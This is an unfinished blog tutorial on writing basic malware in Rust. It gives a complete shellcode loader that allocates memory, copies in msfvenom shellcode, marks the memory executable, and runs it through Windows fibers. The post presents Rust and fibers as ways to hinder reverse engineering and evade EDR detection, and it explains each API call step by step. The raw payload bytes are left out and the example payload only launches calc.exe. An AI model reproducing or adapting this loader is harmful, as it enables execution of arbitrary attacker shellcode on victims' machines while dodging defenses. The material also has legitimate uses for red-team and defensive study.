WIP Work in progress
Rust for Malware Development with Fibers
A work-in-progress walkthrough of running shellcode in Rust via Windows fibers instead of threads — VirtualAlloc, VirtualProtect, and CreateFiber with a calc.exe payload.
Introduction
In this blog post, we’ll cover how to write very basic malware in Rust, with no evasion tactics but with one twist; we’ll be using Fibers instead of threads to execute shellcode.
Why Rust
In this fantastic blog post by Bishop Fox, they break down why rust is better (and how to actually use it for maldev, so I would understand if you went and ditched this post over that one lol).
But TL;DR, Rust programs are comparatively more difficult to reverse-engineer than their C/C++ counterparts because Rust statically links its standard library into the binary, making it bulkier but harder to reverse engineer. More to the point, current decompilation technology focuses more on C and C++ decompilation which means Ghidra and other reverse-engineering tools attempt to, in essence, fit a square peg in a round hole.
Why Fibers?
The reason why we’re using fibers is, they offer a smaller detection surface compared to threads; no WaitForSingleObject usage, exists exclusively in usermode, and kernel mode EDRs cannot identify which fiber is which, which opens up some more interesting evasion primitives we’ll explore in a follow-up post.
Unfortunately since fibers are rarely used in modern application code, they do stick out like a sore thumb.
Also, windows-sys (the crate we’ll be using for Win32 API bindings) wasn’t playing ball and so I wasn’t able to import CreateThread which led me to use Fibers lol.
The Objective
The objective of the code we’re about to write is simple:
- Allocate Virtual Address Space Memory
- Move our msfvenom shellcode (calc.exe for now) into the allocated buffer
- Execute the shellcode that’s in the buffer
And hopefully we should see the Calculator pop up.
The Code
Let’s rip the band-aid raw and see the entire finished product:
1use windows_sys::Win32::System::Memory::{
2 MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE, VirtualAlloc, VirtualProtect
3};
4
5use windows_sys::Win32::System::Threading::{
6 ConvertFiberToThread, ConvertThreadToFiber, CreateFiber, LPFIBER_START_ROUTINE, SwitchToFiber, DeleteFiber
7};
8
9use std::ptr::{self, null_mut};
10
11
12fn main() {
13
14 //msfvenom windows/x64/exec CMD=calc.exe... -f rust
15 let buf: [u8; <payload length>] = ...
16
17 let mut old_protect: u32 = 0;
18
19
20 unsafe{
21 println!("[+] Allocating virtual address space memory");
22 let raw_ptr = VirtualAlloc(null_mut(), buf.len(),MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
23
24 println!("[+] Copy memory to the VASM buffer");
25 ptr::copy(buf.as_ptr(), raw_ptr as *mut u8, buf.len());
26
27 println!("[+] Flipping Permissons from READWRITE to EXECUTE");
28 let return_value = VirtualProtect(raw_ptr, buf.len(), PAGE_EXECUTE, &mut old_protect);
29
30 //When VirtualProtect fails, it returns 0
31 if return_value != 0 {
32
33 println!("[+] Converting main thread to fiber (Required since only a fiber can spawn a fiber)");
34 let main_fiber_handle = ConvertThreadToFiber(null_mut());
35
36 if main_fiber_handle.is_null(){
37 panic!("[-] CONVERSION TO FIBER FAILED");
38 }
39
40 let exec: LPFIBER_START_ROUTINE = Some(std::mem::transmute(raw_ptr));
41
42 println!("[+] Creating the shellcode fiber");
43 let fiber = CreateFiber(0, exec, null_mut());
44 if fiber.is_null() {
45 panic!("[-] CreateFiber FAILED");
46 }
47
48 println!("[+] And so it begins...");
49 SwitchToFiber(fiber);
50
51
52 println!("[+] Successfully executed shellcode, Cleaning up...");
53
54 println!("[+] Deleting fiber");
55 DeleteFiber(fiber);
56
57 println!("[+] Converting back to a Thread");
58 ConvertFiberToThread();
59 } else {
60 panic!("[-] VirtualProtect FAILED");
61 }
62 }
63
64}
If you’re familiar with C/C++ maldev or using Win32 APIs in general, this should be immediately familiar since a lot of the API calls are made by name and the arguments are in the same order and stuff.
The Breakdown
We’ll go bit by bit and explain in detail, what’s happening in the code and what stuff’s specific to rust that good to know.
Memory Allocation
We call VirtualAlloc to allocate a buffer in the virtual address space of the process.
1println!("[+] Allocating virtual address space memory");
2let raw_ptr = VirtualAlloc(null_mut(), buf.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
- The first argument is the
lpAddress; the address you want the buffer allocated starting at.- In C/C++, this is typically
NULLor0, sinceNULLis defined as((void*)0)and implicit pointer conversions are allowed. - Rust has no implicit conversions, so
null_mut()is the explicit way to say “null pointer to mutable memory.”
- In C/C++, this is typically
- Second argument is the length of the buffer you want allocated, straightforward.
- Third argument is
flAllocation: anORover 2 values:MEM_RESERVE: Tells the memory manager to reserve a range firstMEM_COMMIT: Tells the memory manager to back the reserved range with actual physical memory- By calling it with
OR, we’re specifying we want both to happen
- Finally,
flProtect:PAGE_READWRITEspecifies you want read and write permissions over the memory.
Copy Shellcode to memory
- While in C/C++, we usually use
RtlMoveMemory, here we use ptr::copy()
1ptr::copy(buf.as_ptr(), raw_ptr as *mut u8, buf.len())
The argument lists are as follows:
buf.as_ptr(): source of memory; of course, this is the pointer to the beginning of the array we wish to copy. Here, we’re using the built-in trait to get the pointer to the memory address of the beginning of the shellcode memory.raw_ptr as *mut u8: Here, we see a bit of explicit type-casting. This is required asVirtualAllocreturns the pointer in the form of a*mut c_voidandstd::ptr::copyexpects a mutable pointer variablebuf.len(): Here, we’re specifying what’s the length of the buffer that we wish to move.
Flipping Memory Permissions:
Similar to C/C++ version of this malware, we’re converting the buffer into an executable code section:
1let return_value = VirtualProtect(raw_ptr, buf.len(), PAGE_EXECUTE, &mut old_protect);
Nothing much that’s different here besides the old_protect. The &mut means that we’re passing a mutable reference to the variable, allowing the function to write the old permissions of that memory.
Fibers
1
2 println!("[+] Converting main thread to fiber (Required since only a fiber can spawn a fiber)");
3 let main_fiber_handle = ConvertThreadToFiber(null_mut());
4
5 if main_fiber_handle.is_null(){
6 panic!("[-] CONVERSION TO FIBER FAILED");
7 }
8
9 let exec: LPFIBER_START_ROUTINE = Some(std::mem::transmute(raw_ptr));
10
11 println!("[+] Creating the shellcode fiber");
12 let fiber = CreateFiber(0, exec, null_mut());
13 if fiber.is_null() {
14 panic!("[-] CreateFiber FAILED");
15 }
16
17 println!("[+] And so it begins...");
18 SwitchToFiber(fiber);
19
20
21 println!("[+] Successfully executed shellcode, Cleaning up...");
22
23 println!("[+] Deleting fiber");
24 DeleteFiber(fiber);
25
26 println!("[+] Converting back to a Thread");
27 ConvertFiberToThread();
Now to get into the meat of this malware; using Fibers.
To get a basic overview of what the above snippet is doing, we’re:
- Converting our main thread into a fiber: Fibers are cooperatively scheduled in user space. Unlike OS threads, they don’t preempt each other; each fiber yields control explicitly. A thread must first convert itself into a fiber before it can create or switch to another.
- Setting up the Fiber with our shellcode: Next we have to transmute the pointer to the process memory we had allocated into a function pointer.
- Let ’er rip.: TBD